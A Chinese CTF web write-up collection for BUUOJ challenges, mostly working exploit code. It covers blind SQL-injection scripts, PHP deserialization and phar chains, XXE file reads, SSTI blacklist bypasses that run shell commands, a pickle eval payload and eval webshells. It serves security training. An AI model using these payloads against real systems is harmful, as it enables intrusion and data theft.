1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl = "http://913ec15c-c8c0-471b-a52a-b9284ba0af77.node3.buuoj.cn/search.php" res = '' for x in range (1 , 200 ): left = 32 right = 128 while left < right: mid = int ((left + right) / 2 ) sql = f"?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{x} ,1))<{mid} )^1" result = requests.get(url + sql) if "ERROR" in result.text: left = mid + 1 else : right = mid res += chr (int ((left + right - 1 ) / 2 )) print(f"result now is: {res} " ) if "}" in res: break
爆数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsurl = "http://913ec15c-c8c0-471b-a52a-b9284ba0af77.node3.buuoj.cn/search.php" res = '' for x in range (1 , 200 ): left = 32 right = 128 while left < right: mid = int ((left + right) / 2 ) sql = f"?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{x} ,1))<{mid} )^1" result = requests.get(url + sql) if "ERROR" in result.text: left = mid + 1 else : right = mid res += chr (int ((left + right - 1 ) / 2 )) print(f"result now is: {res} " ) if "}" in res: break
得到flag
flag{c3b4b1f9-2515-4cf0-af08-2ca189dc3f38}
[MRCTF2020]Ezpop 反序列化链 题目给出了很长的一串php代码,可以看出是一道反序列化题目
1 2 3 4 5 6 7 __construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 __invoke() 当脚本尝试将对象调用为函数时触发
我们看一下代码,先看看第一个
1 2 3 4 5 6 7 8 9 class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } }
第二个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }
第三个
1 2 3 4 5 6 7 8 9 10 11 class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }
如果当第二个里的$str=new Test()
,而Test类中又没有source,于是可以触发__get()魔术方法,然后我们只需要使$p=new Modifier()
,就又可以触发__invoke()魔术方法,最后我们只要使Modifier里的var为我们要读取的flag.php即可。
所以payload可以为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Modifier { protected $var = "php://filter/read=convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; } } class Test { public $p ; } $a = new Show('aaa' );$a ->str = new Test();$a ->str->p = new Modifier();$b = new Show($a );echo urlencode(serialize($b ));
最后即可得到flag,算是一道入门的php链题吧
flag{3beb1994-1149-438c-847e-9c5315aba30b}
[NCTF2019]True XML cookbook 这题跟之前的那道XXE题目差不多,但是后面获取flag的姿势换了
XXE打内网 先看看/etc/passwd
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hacker [ <!ENTITY a SYSTEM "file:///etc/passwd" > ]> <user > <username > &a; </username > <password > a</password > </user >
可以进去,去看看/flag能不能拿到东西
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hacker [ <!ENTITY a SYSTEM "file:///flag" > ]> <user > <username > &a; </username > <password > a</password > </user >
结果出现报错了,应该是没有flag这个文件
这里看了看别人的WP,学到了一些新东西,XXE可以直接查看内网
核心文件是/etc/hosts
和/proc/net/arp
,用来查看内网存活的主机IP
只有/proc/net/arp
有出现内网IP,直接读取看看
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hacker [ <!ENTITY a SYSTEM "http://10.0.96.2" > ]> <user > <username > &a; </username > <password > a</password > </user >
没有啥有用的回显,直接爆ip的c段
[GYCTF2020]FlaskApp SSTI 在解密界面输入一些随机字符串,出现了报错回显,显示出了一部分源代码
发现可以SSTI,而且有个waf过滤了一些东西,直接查看源代码看看waf里有什么
1 {{config.__init__.__globals__['__builtins__' ].open ('app.py' ,'r' ).read()}}
拿到waf的源代码
1 2 3 4 5 6 def waf (str ): black_list = ["flag" ,"os" ,"system" ,"popen" ,"import" ,"eval" ,"chr" ,"request" , "subprocess" ,"commands" ,"socket" ,"hex" ,"base64" ,"*" ,"?" ] for x in black_list : if x in str .lower() : return 1
虽然过滤了一些东西,但是还是可以用字符串拼接来进行注入
1 {{config.__init__.__globals__['__builtins__' ]['__imp' +'ort__' ]('o' +'s' ).listdir('/' )}}
拿到目录,看见个this_is_the_flag.txt
,但是flag被过滤了
所以可以这样子
1 {{ c.__init__.__globals__['__builtins__' ].open ('/this_is_the_fl' +'ag.txt' ,'r' ).read()}}
拿到flag
flag{2f47beb4-67e1-40f4-b9f3-444d0003f7b7}
[CISCN2019 华北赛区 Day1 Web2]ikun 题目提示说要买到lv6,整个脚本跑一下
1 2 3 4 5 6 7 8 import requestsurl = "utl_here/shop?page=" for i in range (1 , 2000 ): r = requests.get(url + str (i)) if "lv6.png" in r.text: print(i) break
结账的时候发现要1145141919.0
才能买下,应该是要抓包改一下
改一下折扣,发现需要admin才能进入
JWT解密 重新抓包,发现了JWT,进JWT解密网站 解出来
然后用c-jwt-cracker 解出key为1Kun
(tips:k要大写
最后再重新生成一下JWT
抓包上传一下,成功进入
python反序列化漏洞 源代码内发现一个www.zip
下载后进入Admin.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllibclass AdminHandler (BaseHandler ): @tornado.web.authenticated def get (self, *args, **kwargs ): if self.current_user == "admin" : return self.render('form.html' , res='This is Black Technology!' , member=0 ) else : return self.render('no_ass.html' ) @tornado.web.authenticated def post (self, *args, **kwargs ): try : become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 ) except : return self.render('form.html' , res='This is Black Technology!' , member=0 )
这里可以看出使用了tornado的get_argument
进行获取become变量,然后使用pickle
进行序列化,这里就是我们可以利用的点
具体看这里关于Python sec的一些简单的总结 还有这里Python反序列化漏洞的花式利用
所以我们就可以写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport urllibclass payload (object ): def __reduce__ (self ): return (eval , ("open('/flag.txt', 'r').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print(a)
这样就可以算出来提取flag的become值,然后再提交一次就可以拿到flag了
flag{a18502ab-fc97-410e-8bb7-744f815d7601}
[CISCN2019 华东南赛区]Web11 smarty的SSTI 看到smarty时想到了SSTI,并且提示注入点在X-Forwarded-For,简单测试一下
1 X-Forwarded-For: {{7 * 7}}
回显出49,说明存在smartySSTI,查了一下常用的payload
1 2 3 4 5 {if phpinfo()}{/if } {if system('ls' )}{/if } { readfile('/flag' ) } {if show_source('/flag' )}{/if } {if system('cat ../../../flag' )}{/if }
成功拿到flag
1 {if system('cat /flag' )}{/if }
[CISCN2019 华北赛区 Day1 Web1]Dropbox 注册登陆后有个上传文件的按钮,本来以为是upload的,但是传了点东西都没啥反应,也不知道上传目录在哪,点下载的时候抓包发现了一个filename
,应该可以把需要的文件下下来看源码
../../index.php
../../download.php
../../delete.php
../../class.php (这个是下完index.php后在里面看到include的
phar反序列化 这里是原理
看看class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting(0 ); $dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param("s" , $username ); $stmt ->execute(); $stmt ->store_result(); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist($username )) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param("ss" , $username , $password ); $stmt ->execute(); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist($username )) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param("s" , $username ); $stmt ->execute(); $stmt ->bind_result($expect ); $stmt ->fetch(); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close(); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir($path ); $key = array_search("." , $filenames ); unset ($filenames [$key ]); $key = array_search(".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File(); $file ->open($path . $filename ); array_push($this ->files, $file ); $this ->results[$file ->name()] = array (); } } public function __call ($func , $args ) { array_push($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists($filename ) && !is_dir($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename($this ->filename); } public function size ( ) { $size = filesize($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round($size , 2 ).$units [$i ]; } public function detele ( ) { unlink($this ->filename); } public function close ( ) { return file_get_contents($this ->filename); } } ?>
可以发现最下面有一个file_get_contents
,这里应该是拿flag的地方,但是要先跑close()方法,这里看到上面的User类,这里执行__destruct()方法后会执行一个$this->db->close(),但是User里并没有close()方法,所以应该是从这里调用close()方法,然后看到FileList()类,这里有一个__call方法,那么我们可以使User类中的$db = new FileList(),这样就会执行FileList中的__call方法,进而执行close(),然后我们需要执行的是File中的close,所以我们可以使FileList中的$files = array(new File()),这样就可以调用File中的close方法了
最终的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class User { public $db ; } class FileList { private $files ; public function __construct ( ) { $this ->files = array (new File()); } } class File { public $filename = "/flag.txt" ; } $phar = new Phar('phar.phar' );$phar ->startBuffering();$phar ->setStub('GIF89a' ."<?php __HALT_COMPILER();?>" ); $phar ->addFromString('test.txt' , 'test' );$object = new User();$object ->db = new FileList();$phar ->setMetadata($object );$phar ->stopBuffering();
然后由于download里把flag过滤了,所以我们可以从delete里跑phar流
就可以拿到flag了
[MRCTF2020]套娃 ctrl+U发现源代码。
1 2 3 4 5 6 7 8 $query = $_SERVER ['QUERY_STRING' ];if ( substr_count($query , '_' ) !== 0 || substr_count($query , '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET ['b_u_p_t' ] !== '23333' && preg_match('/^23333$/' , $_GET ['b_u_p_t' ])){ echo "you are going to the next ~" ; }
下划线可以用%20绕过,原理在这 ,而字符串可以用%0a绕过,tips: %0a为url编码后的换行符。
1 b%20 u%20 p%20 t%20 =23333 %0 a
然后得到一个secrettw.php,
Flag is here~But how to get it?Local access only! Sorry,you don't have permission! Your ip is :sorry,this way is banned!
ctrl+U查看源码可以发现一大串JSfuck代码,原理看这 ,然后得到post me Merak
,post传参得到一串php代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); include 'takeip.php' ;ini_set('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST ['Merak' ])){ highlight_file(__FILE__ ); die (); } function change ($v ) { $v = base64_decode($v ); $re = '' ; for ($i =0 ;$i <strlen($v );$i ++){ $re .= chr ( ord ($v [$i ]) + $i *2 ); } return $re ; } echo 'Local access only!' ."<br/>" ;$ip = getIp();if ($ip !='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip ;if ($ip === '127.0.0.1' && file_get_contents($_GET ['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change($_GET ['file' ]);echo file_get_contents(change($_GET ['file' ])); }?>
这里用了一个change函数用来过滤参数,所以反过去构造一个flag.php就好了
1 2 3 4 5 6 $er = "flag.php" ;$ch = '' ;for ($i = 0 ; $i < strlen($er ); $i ++){ $ch .= chr(ord($er [$i ]) - $i * 2 ); } echo base64_encode($ch );
得到flag
flag{9248d40f-8f53-42ff-96c4-801f863b7783}
[极客大挑战 2019]RCE ME 题目给出了源代码,可以看出是一道40字的RCE题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 ); if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen($code )>40 ){ die ("This is too Long." ); } if (preg_match("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); } else { highlight_file(__FILE__ ); }
这里用异或进行构造payload
1 code=$_ =%27 `{{{%27 ^%27 ?%3 C%3 E/%27 ;${$_ }[_](${$_ }[__]);&_=assert&__=eval ($_POST [%22 l%22 ])
然后可以用蚁剑登陆进去,直接读flag发现读不出来,查了下发现可以用一个bypass disable_functions插件
选择PHP7_GC_UAF模式
然后进入到虚拟终端直接读readflag
最后即可得到flag
flag{43b277ae-fc71-49ac-8350-265816ba9161}
[WUSTCTF2020]颜值成绩查询 简单的布尔盲注
这里直接放脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsurl = 'http://b09bacde-3fcf-4429-a2d2-6d099630fc8a.node3.buuoj.cn/?stunum=' def GetData (): result = '' for x in range (1 , 200 ): Left = 32 Right = 128 while Left < Right: content = "select/**/group_concat(concat_ws(0x7e,/**/value))/**/from/**/flag" mid = int ((Left + Right) / 2 ) sql = f"if((ascii(substr(({content} ),{x} ,1))<{mid} ),1,0)" res = requests.get(url + sql) if "Hi admin" in res.text: Right = mid else : Left = mid + 1 result += chr (int ((Left + Right - 1 ) / 2 )) print(f"The Result new is: {result} " ) if __name__ == '__main__' : GetData()
直接爆出flag
flag{b8a8d39f-41c5-49d8-8f8f-80a3bd78e244}
[BSidesCF 2019]Kookie 进入题目说要登入一个admin账户,注意这里有一句
We found the account cookie/ monster
试下username=cookie,password=monster,成功登入,但是是用的cookie账户登入的。
这里抓包改成admin即可得到flag
flag{c9db885c-078b-491f-871d-22bb4b6f3a04}
[FBCTF2019]RCEService 进入题目后要求输入JSON代码
直接rce,
1 cmd={%0a"cmd" :"/bin/cat /home/rceservice/flag" %0a}
原因:
由于preg_match只读一行,所以可以利用%0a(换行符)进行绕过
还有一种方法,可以利用PCRE的回溯次数限制进行绕过,原理在这
所以咱们可以构造脚本进行攻击
1 2 3 4 5 6 import requestspayload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a" * 1000000 + '"}' res = requests.post("http://be96ec7d-da8b-4fef-b553-0d08a4bca0a5.node3.buuoj.cn/" , data={"cmd" : payload}) print(res.text)
即可得到flag
[CISCN2019 总决赛 Day2 Web1]Easyweb 备份文件下载 在robots.txt里发现了一个*.php.bak
。
直接下载备份文件image.php.bak
。
得到image.php
的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include "config.php" ;$id = isset ($_GET ["id" ]) ? $_GET ["id" ] : "1" ;$path = isset ($_GET ["path" ]) ? $_GET ["path" ] : "" ;$id = addslashes($id );$path = addslashes($path );$id = str_replace(array ("\\0" , "%00" , "\\'" , "'" ), "" , $id );$path = str_replace(array ("\\0" , "%00" , "\\'" , "'" ), "" , $path );$result = mysqli_query($con , "select * from images where id='{$id} ' or path='{$path} '" );$row = mysqli_fetch_array($result , MYSQLI_ASSOC);$path = "./" . $row ["path" ];header("Content-Type: image/jpeg" ); readfile($path );
SQL盲注 这里由于单引号被ban了,所以我们可以通过\0
进行绕过。
然后还有一点就是爆列名的时候由于单引号被ban掉了,所以我们可以用十六进制进行绕过。
这里是payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = "url_here/image.php?id=\\0&path=" def GetFlag (): result = "" needsql = "select group_concat(concat_ws(0x7e, username, password)) from users" for x in range (1 , 200 ): left = 32 right = 128 while left < right: mid = (left + right) >> 1 sql = f"or if(ascii(substr(({needsql} ),{x} ,1))<{mid} ,1,0)%23" res = requests.get(url+sql) if "JFIF" in res.text: right = mid else : left = mid + 1 result += chr ((left + right - 1 ) >> 1 ) print(f"[*] Result now is: {result} " )
然后就可以爆出用户名和密码,直接登陆
PHP短标签 登陆后发现需要上传文件,随便上传个马上去,得到文件名不能包含php字符串。
这里发现文件名会被写入到日志里,于是直接写个马进去。
<?=eval($_POST['a']);?>
,然后用蚁剑成功登入拿到flag。
[Zer0pts2020]Can you guess it? 代码审计 点击source之后可以查看到index.php的源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include 'config.php' ; if (preg_match('/config\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("I don't know what you are thinking, but I won't let you read it :)" ); } if (isset ($_GET ['source' ])) { highlight_file(basename($_SERVER ['PHP_SELF' ])); exit (); } $secret = bin2hex(random_bytes(64 ));if (isset ($_POST ['guess' ])) { $guess = (string )$_POST ['guess' ]; if (hash_equals($secret , $guess )) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.' ; } } ?>
这里匹配了一串随机字符串给guess进行比较,很明显是不能走这里拿flag的。
那么回头看
1 2 3 4 if (isset ($_GET ['source' ])) { highlight_file(basename($_SERVER ['PHP_SELF' ])); exit (); }
其中==$_SERVER[‘PHP_SELF’]==,会读取当前PHP文件相对于网站根目录的位置地址。
这里发现了一个basename()
函数,这个函数会返回路径中的文件名部分,但是这个函数有一个问题,它会去掉文件名开头的非ASCII值。
1 basename("config.php/%ff" );
然后再加个source参数就可以读取源码了。
最终payload
/index.php/config.php/%ff?source
[0CTF 2016]piapiapia 源码泄露 使用dirsearch进行目录检索可以查到有一个==www.zip==,直接下载下来可以看到源码。
代码审计 在profile.php
里可以看到file_get_contents
函数。
1 2 3 4 5 $profile = unserialize($profile );$phone = $profile ['phone' ];$email = $profile ['email' ];$nickname = $profile ['nickname' ];$photo = base64_encode(file_get_contents($profile ['photo' ]));
然后在config.php
里发现了flag。
1 2 3 4 5 $config ['hostname' ] = '127.0.0.1' ;$config ['username' ] = 'root' ;$config ['password' ] = '' ;$config ['database' ] = '' ;$flag = '' ;
所以我们可以通过file_get_contents
函数读取config.php
以拿到flag。
但是这里需要使$profile['photo']
可控,于是在update.php
里发现这一段。
1 2 3 4 5 6 7 $profile ['phone' ] = $_POST ['phone' ];$profile ['email' ] = $_POST ['email' ];$profile ['nickname' ] = $_POST ['nickname' ];$profile ['photo' ] = 'upload/' . md5($file ['name' ]);$user ->update_profile($username , serialize($profile ));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ;
反序列化字符逃逸 这里可以通过提交nickname
进行反序列化字符逃逸,把原来的photo
顶掉换成我们想要的。
原来构造得到的序列化字符是
1 a:4 :{s:5 :"phone" ;i:11111111111 ;s:5 :"email" ;s:17 :"1234567890@qq.com" ;s:8 :"nickname" ;s:9 :"need_here" ;s:5 :"photo" ;s:39 :"upload/9e5e2527d69c009a81b8ecd730f3957e" ;}
然后我们把我们需要的config.php
加进去
1 a:4 :{s:5 :"phone" ;i:11111111111 ;s:5 :"email" ;s:17 :"1234567890@qq.com" ;s:8 :"nickname" ;s:9 :"need_here" ;s:5 :"photo" ;s:10 :"config.php" ;}s:5 :"photo" ;s:39 :"upload/9e5e2527d69c009a81b8ecd730f3957e" ;}
但是这里还有一个点就是前面有一个if限制了nickname的长度。
于是我们可以选择数组进行绕过
1 a:4 :{s:5 :"phone" ;i:11111111111 ;s:5 :"email" ;s:17 :"1234567890@qq.com" ;s:8 :"nickname" ;a:1 :{i:0 ;s:9 :"need_here" ;}s:5 :"photo" ;s:10 :"config.php" ;}s:5 :"photo" ;s:39 :"upload/9e5e2527d69c009a81b8ecd730f3957e" ;}
然后由于我们是在nickname
里输入的,所以需要将";}s:5:"photo";s:10:"config.php";}
这34个字符逃逸出来。
这里因为最后进update_profile()
函数里后会有一个正则,正则会替换一些字符串为hacker
,这里可以取巧一下。
1 2 3 因为我们需要逃逸共34个字符,而替换的hacker为6个字符,所以我们可以选择where进行替换,这样每替换一个字符串长度都会+1 where=5 => 34*5=170 hacker=6 => 34*6=204 => 204-170=34
这样子就可以逃逸出34个字符了
然后注册登陆update就可以拿到flag了
[GWCTF 2019]枯燥的抽奖 代码审计 在network里可以跟到check.php,得到源码。
核心就是这一段
1 2 3 4 5 6 7 8 9 mt_srand($_SESSION ['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr($str_long1 , mt_rand(0 , strlen($str_long1 ) - 1 ), 1 ); } $str_show = substr($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;
这里很明显是要拿到seed然后逆向拿到原字符串才能得到flag。
seed爆破 这里可以用php_mt_seed进行爆破,原理看这 。
但是爆破前需要转成工具所需的格式,这里放脚本,具体也是看原理。
1 2 3 4 5 6 7 8 9 10 11 str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2 = 'hch2FuienH' // 已经给出的字符串放这 str3 = str1[::-1 ] length = len (str2) res = '' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res += str (j) + ' ' + str (j) + ' ' + '0' + ' ' + str (len (str1) - 1 ) + ' ' break print(res)
然后将得到的数据拿到php_mt_seed
里爆破即可得到seed
。
![](C:\Users\violet\Desktop\my blog\blog\source_posts\WriteUp\BUUOJ web 1pts\nS6mYpkeVGcbyhu.png)
这里得出的seed=904536600,放回去爆出原字符串。
1 2 3 4 5 6 7 8 9 <?php mt_srand(904536600 ); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr($str_long1 , mt_rand(0 , strlen($str_long1 ) - 1 ), 1 ); } echo "<p id='p1'>" .$str ."</p>" ;
然后提交即可得到flag。
flag{bb7792f8-ba2d-4fe0-84c5-22aa8ea48825}
[CISCN2019 华北赛区 Day1 Web5]CyberPunk php伪协议读取文件 打开网页源代码可以发现一个file参数,使用php伪协议进行文件截流即可读取文件。
url_here?file=php://filter/convert.base64-encode/resource=confirm.php
总共有confirm.php, change.php, search.php, index.php, delete.php这几个文件。
sql二次报错注入 挺多参数给过滤过了,但是唯独address没有被过滤,可以从这里入手。
先直接提交address
1’ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,30)),0x7e),1)#
这时address已经被录入进数据库中了,然后我们从change.php里再次调用address就会触发sql注入。
得到一半的flag
errorXPATH syntax error: ‘flag{ae44900b-3688-41e7-ab00-2‘
然后再次注入就可以拿到完整的flag了
flag{ae44900b-3688-41e7-ab00-20da18e3d421}
[津门杯2021]power_cut swp源码泄露 .index.php.swp
下载index.php源码,得到的源码是混乱的,需要重新自己整理一下o(´^`)o。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class logger { public $logFile ; public $initMsg ; public $exitMsg ; function __construct ($file ) { $this ->initMsg = "#--session started--#\n" ; $this ->exitMsg = "#--session end--#\n" ; $this ->logFile = $file ; readfile($this ->logFile); } function log ($msg ) { $fd = fopen($this ->logFile, "a+" ); fwrite($fd , $msg . "\n" ); fclose($fd ); } function __destruct ( ) { echo "this is destruct" ; } } class weblog { public $weblogfile ; function __construct ( ) { $flag = "system('cat /flag')" ; echo "$flag " ; } function __wakeup ( ) { $obj = new logger($this ->weblogfile); } public function waf ($str ) { $str = preg_replace("/[<>*#'|?\n ]/" , "" , $str ); $str = str_replace('flag' , '' , $str ); return $str ; } function __destruct ( ) { echo "this is destruct" ; } } $log = $_GET ['log' ];$log = preg_replace("/[<>*#'|?\n]/" , "" , $log );$log = str_replace('flag' , '' , $log );$log_unser = unserialize($log );
反序列化 看源码可以知道是一道简单的反序列化题。
首先是__wakeup()
1 2 3 4 5 function __wakeup ( ) { $obj = new logger($this ->weblogfile); }
这里进到了logger类里,logger类里有一个__construct
1 2 3 4 5 6 7 function __construct ($file ) { $this ->initMsg = "#--session started--#\n" ; $this ->exitMsg = "#--session end--#\n" ; $this ->logFile = $file ; readfile($this ->logFile); }
这里有一个readfile,到这应该就可以拿到flag了,大概顺序就是
weblog -> __wakeup() -> logger -> __construct() -> readfile
poc在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class logger { public $logFile ; public $initMsg ; public $exitMsg ; function __construct ($file ) { $this ->initMsg = "#--session started--#\n" ; $this ->exitMsg = "#--session end--#\n" ; $this ->logFile = $file ; readfile($this ->logFile); } } class weblog { public $weblogfile = "/flag" ; function __wakeup ( ) { $obj = new logger($this ->weblogfile); } } $log = new weblog();echo serialize($log );
这里穿的时候要注意一下,刚开始有个正则需要双写绕。
[津门杯2021]hate_php 这题是一道无字母数字的trick,可以用p神的方法绕,原理在这 。
虽然@被ban了,但是还可以用?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /?code=?> <?= `.%20 /???/????????[?-[]`;?> HTTP/1.1 Host: 122.112 .214 .101 :20002 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0 .4430 .93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
[CSCCTF 2019 Qual]FlaskLight 简单的ssti题,但是需要写代码查找所需类的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport reimport htmlimport timeindex = 0 for i in range (170 , 1000 ): try : url = "http://9cf6a01e-8851-4fbe-a9d1-586bcb300271.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str (i) + "]}}" r = requests.get(url) res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>" , r.text) time.sleep(0.1 ) res = html.unescape(res[0 ]) print(str (i) + " | " + res) if "subprocess.Popen" in res: index = i break except : continue print("indexo of subprocess.Popen:" + str (index))
得到位置之后直接拿flag
1 {{config.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
[GYCTF2020]Ezsqli sql无列名 + sys.schema_table_statistics 简单sql盲注,一共看到三个回显。
Nu1L
SQL Injection Checked.
V&N
ban了许多东西,连infomation_schema也无了,但是可以用sys.schema_table_statistics拿到表名。
给上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsurl = "http://13abe06b-22f6-4d77-ab52-8cdfd79f2e56.node4.buuoj.cn/" result = "" sql = "select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()" for i in range (1 , 200 ): left = 32 right = 128 while left < right: mid = int ((left + right - 1 ) / 2 ) data = { "id" : f"2||ascii(substr(({sql} ),{i} ,1))<{mid} " } res = requests.post(url=url, data=data) if "Nu1L" in res.text: right = mid else : left = mid + 1 result += chr (int ((left + right - 1 ) / 2 )) print(f"[+]Result new is: {result} " )
可以拿到表名,但是拿不到列名,这里就需要无列名注入。
这里重新说一下无列名注入,在sql里比较两个字符串的大小是和长度无关的,就像c语言里的strcmp。
举个栗子:
不难理解,然后直接写脚本跑flag就行了。
